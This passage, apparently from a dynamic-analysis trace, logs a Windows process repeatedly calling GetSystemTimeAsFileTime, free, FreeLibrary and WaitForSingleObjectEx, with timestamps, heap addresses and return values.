dwHighDateTime=0x1d9eb0c)) [0220.227] free (_Block=0x196ef0d1ba0) [0220.227] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.228] free (_Block=0x196ef0d4e70) [0220.229] free (_Block=0x196ef0fbb30) [0220.229] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64214273, dwHighDateTime=0x1d9eb0c)) [0220.237] free (_Block=0x196ef0d1a80) [0220.237] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.238] free (_Block=0x196ef0d4e70) [0220.239] free (_Block=0x196ef0fbc20) [0220.239] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64214273, dwHighDateTime=0x1d9eb0c)) [0220.309] free (_Block=0x196ef0d1d00) [0220.309] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.310] free (_Block=0x196ef0d4e70) [0220.311] free (_Block=0x196ef0fba40) [0220.311] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x642d280a, dwHighDateTime=0x1d9eb0c)) [0220.325] free (_Block=0x196ef0d1c00) [0220.325] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.326] free (_Block=0x196ef0d4e70) [0220.327] free (_Block=0x196ef0fb810) [0220.327] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x642f8be2, dwHighDateTime=0x1d9eb0c)) [0220.333] free (_Block=0x196ef0d1f20) [0220.333] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.334] free (_Block=0x196ef0d4e70) [0220.335] free (_Block=0x196ef0fbf40) [0220.335] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x642f8be2, dwHighDateTime=0x1d9eb0c)) [0220.344] free (_Block=0x196ef0d2000) [0220.345] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.345] free (_Block=0x196ef0d4e70) [0220.346] free (_Block=0x196ef0fb4f0) [0220.346] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6431ef5d, dwHighDateTime=0x1d9eb0c)) [0220.357] free (_Block=0x196ef0d1f60) [0220.357] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.357] free (_Block=0x196ef0d4e70) [0220.358] free (_Block=0x196ef0fbd10) [0220.358] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64405618, dwHighDateTime=0x1d9eb0c)) [0220.446] free (_Block=0x196ef0d1d60) [0220.446] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.447] free (_Block=0x196ef0d4e70) [0220.447] free (_Block=0x196ef0fc080) [0220.448] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64405618, dwHighDateTime=0x1d9eb0c)) [0220.453] free (_Block=0x196ef0d1de0) [0220.453] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.454] free (_Block=0x196ef0d4e70) [0220.454] free (_Block=0x196ef0fb720) [0220.455] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64429c76, dwHighDateTime=0x1d9eb0c)) [0220.460] free (_Block=0x196ef0d20e0) [0220.460] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.461] free (_Block=0x196ef0d4e70) [0220.461] free (_Block=0x196ef0fb770) [0220.461] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6444fce2, dwHighDateTime=0x1d9eb0c)) [0220.472] free (_Block=0x196ef0d1fa0) [0220.472] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.473] free (_Block=0x196ef0d4e70) [0220.473] free (_Block=0x196ef0fb860) [0220.473] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6444fce2, dwHighDateTime=0x1d9eb0c)) [0220.479] free (_Block=0x196ef0d1ec0) [0220.479] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.479] free (_Block=0x196ef0d4e70) [0220.480] free (_Block=0x196ef0fb590) [0220.480] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x644e881a, dwHighDateTime=0x1d9eb0c)) [0220.545] free (_Block=0x196ef0d1f60) [0220.545] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.546] free (_Block=0x196ef0d4e70) [0220.547] free (_Block=0x196ef0fbb30) [0220.547] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6450ebad, dwHighDateTime=0x1d9eb0c)) [0220.553] free (_Block=0x196ef0d1f20) [0220.554] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.554] free (_Block=0x196ef0d4e70) [0220.555] free (_Block=0x196ef0fbef0) [0220.555] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6450ebad, dwHighDateTime=0x1d9eb0c)) [0220.562] free (_Block=0x196ef0d1bc0) [0220.562] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.562] free (_Block=0x196ef0d4e70) [0220.563] free (_Block=0x196ef0fba40) [0220.563] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64535237, dwHighDateTime=0x1d9eb0c)) [0220.570] free (_Block=0x196ef0d20e0) [0220.570] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.570] free (_Block=0x196ef0d4e70) [0220.571] free (_Block=0x196ef0fb4a0) [0220.571] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6455af40, dwHighDateTime=0x1d9eb0c)) [0220.580] free (_Block=0x196ef0d1e60) [0220.581] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.581] free (_Block=0x196ef0d4e70) [0220.581] free (_Block=0x196ef0fb4a0) [0220.581] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x645cd61d, dwHighDateTime=0x1d9eb0c)) [0220.640] free (_Block=0x196ef0d1ba0) [0220.640] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.641] free (_Block=0x196ef0d4e70) [0220.641] free (_Block=0x196ef0fb5e0) [0220.642] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x645f3937, dwHighDateTime=0x1d9eb0c)) [0220.649] free (_Block=0x196ef0d2000) [0220.649] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.650] free (_Block=0x196ef0d4e70) [0220.650] free (_Block=0x196ef0fb950) [0220.651] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x645f3937, dwHighDateTime=0x1d9eb0c)) [0220.658] free (_Block=0x196ef0d1de0) [0220.658] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.659] free (_Block=0x196ef0d4e70) [0220.659] free (_Block=0x196ef0fc120) [0220.659] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64619abe, dwHighDateTime=0x1d9eb0c)) [0220.665] free (_Block=0x196ef0d1ee0) [0220.665] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.666] free (_Block=0x196ef0d4e70) [0220.666] free (_Block=0x196ef0fb630) [0220.666] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6464096c, dwHighDateTime=0x1d9eb0c)) [0220.675] free (_Block=0x196ef0d1e60) [0220.676] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.676] free (_Block=0x196ef0d4e70) [0220.677] free (_Block=0x196ef0fc170) [0220.677] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6464096c, dwHighDateTime=0x1d9eb0c)) [0220.683] free (_Block=0x196ef0d1ec0) [0220.683] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.683] free (_Block=0x196ef0d4e70) [0220.684] free (_Block=0x196ef0fbea0) [0220.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6474ad42, dwHighDateTime=0x1d9eb0c)) [0220.791] free (_Block=0x196ef0d1a20) [0220.791] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.792] free (_Block=0x196ef0d4e70) [0220.792] free (_Block=0x196ef0fb8b0) [0220.792] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6474ad42, dwHighDateTime=0x1d9eb0c)) [0220.799] free (_Block=0x196ef0d1e60) [0220.799] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.799] free (_Block=0x196ef0d4e70) [0220.800] free (_Block=0x196ef0fc080) [0220.800] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64770fbb, dwHighDateTime=0x1d9eb0c)) [0220.807] free (_Block=0x196ef0d1ee0) [0220.807] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.807] free (_Block=0x196ef0d4e70) [0220.808] free (_Block=0x196ef0fb2c0) [0220.808] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64797312, dwHighDateTime=0x1d9eb0c)) [0220.816] free (_Block=0x196ef0d1a40) [0220.816] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.816] free (_Block=0x196ef0d4e70) [0220.817] free (_Block=0x196ef0fc0d0) [0220.817] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6487bff9, dwHighDateTime=0x1d9eb0c)) [0220.910] free (_Block=0x196ef0d1b60) [0220.910] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.910] free (_Block=0x196ef0d4e70) [0220.911] free (_Block=0x196ef0fb220) [0220.911] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6487bff9, dwHighDateTime=0x1d9eb0c)) [0220.919] free (_Block=0x196ef0d1960) [0220.919] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.920] free (_Block=0x196ef0d4e70) [0220.920] free (_Block=0x196ef0fbd10) [0220.921] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x648a2433, dwHighDateTime=0x1d9eb0c)) [0220.928] free (_Block=0x196ef0d20c0) [0220.928] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.928] free (_Block=0x196ef0d4e70) [0220.929] free (_Block=0x196ef0fbb80) [0220.929] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x648a2433, dwHighDateTime=0x1d9eb0c)) [0220.935] free (_Block=0x196ef0d1a40) [0220.935] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.935] free (_Block=0x196ef0d4e70) [0220.936] free (_Block=0x196ef0fb4f0) [0220.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x648c8783, dwHighDateTime=0x1d9eb0c)) [0220.943] free (_Block=0x196ef0d1a40) [0220.943] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.943] free (_Block=0x196ef0d4e70) [0220.944] free (_Block=0x196ef0fb680) [0220.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x649d3594, dwHighDateTime=0x1d9eb0c)) [0221.050] free (_Block=0x196ef0d1de0) [0221.050] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.051] free (_Block=0x196ef0d4e70) [0221.052] free (_Block=0x196ef0fbae0) [0221.052] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x649d3594, dwHighDateTime=0x1d9eb0c)) [0221.059] free (_Block=0x196ef0d1fa0) [0221.059] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.059] free (_Block=0x196ef0d4e70) [0221.060] free (_Block=0x196ef0fbfe0) [0221.060] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64a03978, dwHighDateTime=0x1d9eb0c)) [0221.069] free (_Block=0x196ef0d1fa0) [0221.069] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.069] free (_Block=0x196ef0d4e70) [0221.072] free (_Block=0x196ef0fbc70) [0221.072] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64a1d497, dwHighDateTime=0x1d9eb0c)) [0221.080] free (_Block=0x196ef0d1ac0) [0221.080] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.080] free (_Block=0x196ef0d4e70) [0221.081] free (_Block=0x196ef0fb590) [0221.081] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64a4c6c7, dwHighDateTime=0x1d9eb0c)) [0221.103] free (_Block=0x196ef0d2000) [0221.104] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.104] free (_Block=0x196ef0d4e70) [0221.105] free (_Block=0x196ef0fbbd0) [0221.105] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64bc9ef8, dwHighDateTime=0x1d9eb0c)) [0221.258] free (_Block=0x196ef0d1ca0) [0221.258] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.259] free (_Block=0x196ef0d4e70) [0221.260] free (_Block=0x196ef0fbe50) [0221.260] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64bfdd84, dwHighDateTime=0x1d9eb0c)) [0221.282] free (_Block=0x196ef0d1c20) [0221.282] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.282] free (_Block=0x196ef0d4e70) [0221.283] free (_Block=0x196ef0fbd60) [0221.283] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64c16014, dwHighDateTime=0x1d9eb0c)) [0221.295] free (_Block=0x196ef0d1a60) [0221.295] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.296] free (_Block=0x196ef0d4e70) [0221.296] free (_Block=0x196ef0fba40) [0221.296] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64c3c1ee, dwHighDateTime=0x1d9eb0c)) [0221.305] free (_Block=0x196ef0d1be0) [0221.305] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.305] free (_Block=0x196ef0d4e70) [0221.306] free (_Block=0x196ef0fb770) [0221.306] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64d6d4ae, dwHighDateTime=0x1d9eb0c)) [0221.428] free (_Block=0x196ef0d1fa0) [0221.428] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.429] free (_Block=0x196ef0d4e70) [0221.430] free (_Block=0x196ef0fc030) [0221.430] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64d6d4ae, dwHighDateTime=0x1d9eb0c)) [0221.436] free (_Block=0x196ef0d1ba0) [0221.436] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.437] free (_Block=0x196ef0d4e70) [0221.438] free (_Block=0x196ef0fba40) [0221.438] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64d937ad, dwHighDateTime=0x1d9eb0c)) [0221.448] free (_Block=0x196ef0d1ac0) [0221.448] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.449] free (_Block=0x196ef0d4e70) [0221.450] free (_Block=0x196ef0fbe50) [0221.450] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64d937ad, dwHighDateTime=0x1d9eb0c)) [0221.456] free (_Block=0x196ef0d1de0) [0221.456] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.457] free (_Block=0x196ef0d4e70) [0221.457] free (_Block=0x196ef0fbe00) [0221.457] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64dba970, dwHighDateTime=0x1d9eb0c)) [0221.464] free (_Block=0x196ef0d1fa0) [0221.464] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.465] free (_Block=0x196ef0d4e70) [0221.465] free (_Block=0x196ef0fb770) [0221.466] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64e9e874, dwHighDateTime=0x1d9eb0c)) [0221.553] free (_Block=0x196ef0d20c0) [0221.553] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.554] free (_Block=0x196ef0d4e70) [0221.555] free (_Block=0x196ef0fb860) [0221.555] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64e9e874, dwHighDateTime=0x1d9eb0c)) [0221.564] free (_Block=0x196ef0d20e0) [0221.565] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.566] free (_Block=0x196ef0d4e70) [0221.567] free (_Block=0x196ef0fb270) [0221.567] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64ec5b0d, dwHighDateTime=0x1d9eb0c)) [0221.574] free (_Block=0x196ef0d1d60) [0221.575] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.575] free (_Block=0x196ef0d4e70) [0221.576] free (_Block=0x196ef0fc170) [0221.576] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64eeae12, dwHighDateTime=0x1d9eb0c)) [0221.586] free (_Block=0x196ef0d1d60) [0221.586] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.587] free (_Block=0x196ef0d4e70) [0221.587] free (_Block=0x196ef0fb4a0) [0221.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64fd2abc, dwHighDateTime=0x1d9eb0c)) [0221.682] free (_Block=0x196ef0d1aa0) [0221.682] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.683] free (_Block=0x196ef0d4e70) [0221.684] free (_Block=0x196ef0fb540) [0221.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64fd2abc, dwHighDateTime=0x1d9eb0c)) [0221.691] free (_Block=0x196ef0d20e0) [0221.691] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.692] free (_Block=0x196ef0d4e70) [0221.693] free (_Block=0x196ef0fbdb0) [0221.693] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64ff78f3, dwHighDateTime=0x1d9eb0c)) [0221.699] free (_Block=0x196ef0d19a0) [0221.700] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.701] free (_Block=0x196ef0d4e70) [0221.702] free (_Block=0x196ef0fba40) [0221.702] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6501bfa4, dwHighDateTime=0x1d9eb0c)) [0221.708] free (_Block=0x196ef0d1fa0) [0221.708] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.709] free (_Block=0x196ef0d4e70) [0221.709] free (_Block=0x196ef0fbfe0) [0221.709] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6501bfa4, dwHighDateTime=0x1d9eb0c)) [0221.721] free (_Block=0x196ef0d1e20) [0221.721] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.721] free (_Block=0x196ef0d4e70) [0221.722] free (_Block=0x196ef0fba40) [0221.722] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6514dd45, dwHighDateTime=0x1d9eb0c)) [0221.834] free (_Block=0x196ef0d19a0) [0221.834] 